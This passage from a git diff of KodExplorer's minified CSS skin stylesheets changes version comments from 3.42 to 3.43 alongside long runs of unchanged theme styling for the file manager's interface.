.sub_menu{opacity:0.01;filter:alpha(opacity=1);}#body .system_conennt{position:absolute;border:1px solid #ddd;box-shadow:0 0 5px #ddd;bottom:10px;right:30px;top:38px;left:0px;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}#body .system_conennt .group_title_span{text-decoration:none;color:#428bca;}#body .system_conennt .left_freame{position:absolute;bottom:0px;top:0px;overflow:auto;width:180px;background:#FEFEFF;border-right:1px solid #ddd;}#body .system_conennt .left_freame .left_header{position:fixed;}#body .system_conennt .left_freame .left_header .tab{width:90px;margin-left:-1px;text-align:center;float:left;height:30px;cursor:pointer;line-height:30px;border:1px solid #d2d2d2;border-top:none;border-right:none;background:#DAE9FD;}#body .system_conennt .left_freame .left_header .tab.this{border-color:1px solid #FEFEFF;border-bottom:none;color:#555;background:#FEFEFF;font-weight:800;}#body .system_conennt .left_freame .left_content{margin-top:35px;}#body .system_conennt .left_freame .left_content .role_box{padding:10px 10px;}#body .system_conennt .left_freame .left_content .role_box ul{list-style:none;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell{border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell.role_cell_add{text-align:center;background:#eee;padding:0;color:#666;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell:hover{background:#eee;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell.select,#body .system_conennt .left_freame .left_content .role_box ul li.role_cell.select.role_cell_add{background:#63acff;color:#fff;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell .sub_menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}#body .system_conennt .left_freame .left_content .ztree li a{border-radius:3px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #eee;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode,#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#fff;}#body .system_conennt .left_freame .left_content .group_role_btn a{text-align:center;display:block;background:#def;margin:5px 10px;padding:15px 0;border-radius:2px;}#body .system_conennt .right_frame{position:absolute;bottom:0px;top:0px;left:175px;right:0px;overflow:auto;padding:10px 10px 10px 20px;}#body .system_conennt .right_frame .group_title{font-size:25px;padding:8px 0;}#body .system_conennt .right_frame .group_title .group_title_span{border-bottom:2px solid;padding-bottom:3px;}#body .system_conennt .right_frame .group_title .group_size{position:absolute;margin-left:10px;border-radius:2px;font-size:12px;background-color:#f6f6f6;margin-top:5px;padding:6px 10px 0px;}#body .system_conennt .right_frame .user_tool_bar{background:#eee;border-radius:3px;padding:7px 0px;margin:10px 0px;}#body .system_conennt .right_frame .user_tool_bar .dropdown-menu{min-width:100px;}#body .system_conennt .right_frame .user_list table{border:none;border-top:1px solid #ddd;border-bottom:1px solid #ddd;}#body .system_conennt .right_frame .user_list table tr{background:#fff;border:none;border-bottom:1px solid #eee;color:#666;}#body .system_conennt .right_frame .user_list table tr.title,#body .system_conennt .right_frame .user_list table tr.title:hover{background:#fafafa;border-top:1px solid #ddd;font-size:1em;color:#666;}#body .system_conennt .right_frame .user_list table tr:hover,#body .system_conennt .right_frame .user_list table tr.selected{background:#fff9ed;cursor:default;}#body .system_conennt .right_frame .user_list table tr.unuse{opacity:0.3;filter:alpha(opacity=30);}#body .system_conennt .right_frame .user_list table tr td{height:30px;line-height:30px;padding:0;border-right:none;width:auto;}#body .system_conennt .right_frame .user_list table tr td .space_info_bar{height:25px;}#body .system_conennt .right_frame .user_list table tr td .space_process{margin-top:6px;margin-bottom:-6px;}#body .system_conennt .right_frame .user_list table tr td .space_info{width:110px;overflow:hidden;}#body .system_conennt .right_frame .user_list table tr td.select{width:30px;padding-left:10px;}#body .system_conennt .right_frame .user_list table tr td.select input{position:relative;}#body .system_conennt .right_frame .user_list table tr td.select input:focus{box-shadow:none;}#body .system_conennt .right_frame .user_list table tr td.select:hover{background:#f6f6f6;}#body .system_conennt .right_frame .user_list table tr td.name{min-width:95px;}#body .system_conennt .right_frame .user_list table tr td.name a{border-bottom:1px solid;padding:2px;}#body .system_conennt .right_frame .user_list table tr td.role{width:90px;}#body .system_conennt .right_frame .user_list table tr td.space{width:120px;}#body .system_conennt .right_frame .user_list table tr td.group{width:auto;}#body .system_conennt .right_frame .user_list table tr td.action{width:auto;}#body .system_conennt .right_frame .user_list table tr td .label-small{font-size:10px;font-style:italic;color:#698ebf;background:#E9F3F9;padding:1px;border-radius:2px;}body.setting_page .select_user_group{padding:20px;font-size:1em;}body.setting_page .select_user_group .title_info .title{display:block;width:210px;float:left;padding-bottom:10px;}body.setting_page .select_user_group .title_info .title_right{margin-left:50px;}body.setting_page .select_user_group .right_content,body.setting_page .select_user_group .center_action,body.setting_page .select_user_group .left_content{border:1px solid #eee;float:left;width:235px;height:300px;}body.setting_page .select_user_group .right_content,body.setting_page .select_user_group .left_content{overflow-y:auto;}body.setting_page .select_user_group .left_content{margin:0px !important;padding:0;}body.setting_page .select_user_group .center_action{width:25px;border:none;}body.setting_page .select_user_group .center_action i{width:30px;height:30px;display:block;margin-top:150px;font-size:22px;color:#999;text-align:center;}body.setting_page .select_user_group .select_group_right{padding:0;list-style:none;}body.setting_page .select_user_group .select_group_right .group_self{height:30px;line-height:30px;border-radius:2px;}body.setting_page .select_user_group .select_group_right .group_self:hover{background:#def;}body.setting_page .select_user_group .select_group_right .group_self .title{color:#1e5494;padding-left:5px;}body.setting_page .select_user_group .select_group_right .group_self .icon-group{padding-right:10px;}body.setting_page .select_user_group .select_group_right .group_self .remove{float:right;cursor:pointer;height:30px;line-height:30px;width:22px;font-size:1.25em;text-align:center;color:#aaa;}body.setting_page .select_user_group .select_group_right .group_self .remove:hover{color:#f33;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li{padding-left:1em;font-size:13px;height:26px;line-height:24px;cursor:pointer;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected:hover{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li:hover{background:#def;color:#337ab7;}body.setting_page .select_user_group .group_select_box{font-size:1.1em;padding-right:2px;color:#aaa;position:relative;top:1px;display:inline-block;width:16px;}body.setting_page .select_user_group .group_select_box:before{content:"\f096";}body.setting_page .select_user_group #user_group_select a.this .group_select_box:before{content:"\f046";color:#3B99FC;}body.setting_page .select_user_group .select_drop_menu{margin-top:2px;float:right;}body.setting_page .select_user_group .select_drop_menu .btn{padding:0px 0.5em;margin-top:3px;font-weight:400;}body .group_role_setting{position:relative;width:100%;height:100%;}body .group_role_setting .content_info{position:absolute;bottom:10px;right:10px;top:10px;left:10px;box-shadow:0 0 3px #ccc;border-radius:2px;}body .group_role_setting .form_row{margin-bottom:5px;width:100%;float:left;}body .group_role_setting .form_row:after{clear:both;}body .group_role_setting .form_row label{margin-right:20px;}body .group_role_setting .form_row input[type='checkbox']{display:inline-block;width:20px !important;}body .group_role_setting .form_row input[type='text'],body .group_role_setting .form_row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:150px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;padding-left:10px;}body .group_role_setting .form_row input[type='text']:focus,body .group_role_setting .form_row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}body .group_role_setting .form_row.line{border-bottom:2px solid #eee;}body .group_role_setting .form_row .setting_title{float:left;width:70px;height:30px;padding-top:5px;}body .group_role_setting .form_row .setting_content{float:left;margin-left:20px;position:relative;}body .group_role_setting .form_row i{padding-left:5px;color:#777;font-size:12px;font-style:normal;display:inline-block;padding-top:5px;}body .group_role_setting .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}body .group_role_setting .form_row.from_row_submit .setting_content{margin-left:10px;width:95%;}body .group_role_setting .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}body .group_role_setting .form_row.from_row_submit .btn.btn-remove{float:right;color:#666;background:none;}body .group_role_setting .form_row .group_role_check{background:#f4fbff;border:1px solid #c3e1ff;padding:10px 5px;border-radius:3px;}body .group_role_setting .form_row .group_role_check .item label{display:block;height:25px;padding:0px 10px;margin:0;min-width:150px;}body .group_role_setting .form_row .group_role_check .item label:hover{color:#2196F3;}body .group_role_setting .form_row .group_role_check .item label span,body .group_role_setting .form_row .group_role_check .item label i{position:relative;top:5px;}body .group_role_setting .form_row .group_role_check .item label span{padding-left:10px;}body .group_role_setting .form_row .group_role_check .content{margin-left:30px;margin-bottom:10px;}body .group_role_setting .left_content{position:absolute;bottom:0px;top:0px;overflow:auto;width:160px;padding:10px;border-right:1px solid #ddd;}body .group_role_setting .left_content .role_cell{color:#444;display:block;text-decoration:none;border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}body .group_role_setting .left_content .role_cell.role_cell_add{text-align:center;background:#eee;padding:0;color:#666;}body .group_role_setting .left_content .role_cell:hover{background:#eee;}body .group_role_setting .left_content .role_cell.select,body .group_role_setting .left_content .role_cell.select.role_cell_add{background:#63acff;color:#fff;}body .group_role_setting .left_content .role_cell .sub_menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}body .group_role_setting .right_content{position:absolute;bottom:0px;top:0px;left:180px;right:0px;overflow:auto;} +/* ver 3.43(2017-04-12) [build 1491999049.2131] */ \ No newline at end of file diff --git a/static/style/skin/diy.css b/static/style/skin/diy.css index 105f523..0f06cfb 100755 --- a/static/style/skin/diy.css +++ b/static/style/skin/diy.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.3281] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999050.183] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(200deg,#480552,#000000);background-image:-moz-linear-gradient(200deg,#480552,#000000);background-image:-o-linear-gradient(200deg,#480552,#000000);background-image:-ms-linear-gradient(200deg,#480552,#000000);background-image:linear-gradient(200deg,#480552,#000000);-pie-background:linear-gradient(to 200deg,#480552,#000000);text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background:#000000;background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.42(2017-04-07) [build 1491589357.3281] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999050.183] */ \ No newline at end of file diff --git a/static/style/skin/mac.css b/static/style/skin/mac.css index 8e3fa42..d1dee38 100755 --- a/static/style/skin/mac.css +++ b/static/style/skin/mac.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589356.8085] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.6565] */ body{color:#444;position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_mac.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_mac_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');width:18px;height:18px;}body .fileContiner .x-folder.small{margin-top:-1px;}body .topbar{background:#f1f1f1;}body .topbar .content{border-bottom:1px solid #ddd;}body .topbar .content .topbar_menu{color:#444;border-color:#dddddd;}body .topbar .content .share_title,body .topbar .content .share_info,body .topbar .content .share_info .time{color:#666;}body .topbar .content .top_right div.share_info_user{color:#666;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this{background:#e2e2e2;}body .aui_buttons{padding:10px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui_buttons button{margin-left:15px;padding:5px 1.6em;border-radius:3px;height:auto;color:#333;border:solid 1px #ccc;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);}body .aui_buttons button:focus{outline:none 0;box-shadow:0 0 8px rgba(0,0,0,0.2);}body .aui_buttons button:hover{color:#000;border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);}body .aui_buttons button:active{border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background:#fff;background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}body .aui_buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui_buttons button.aui_state_highlight{color:#fff;border:solid 1px #6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', 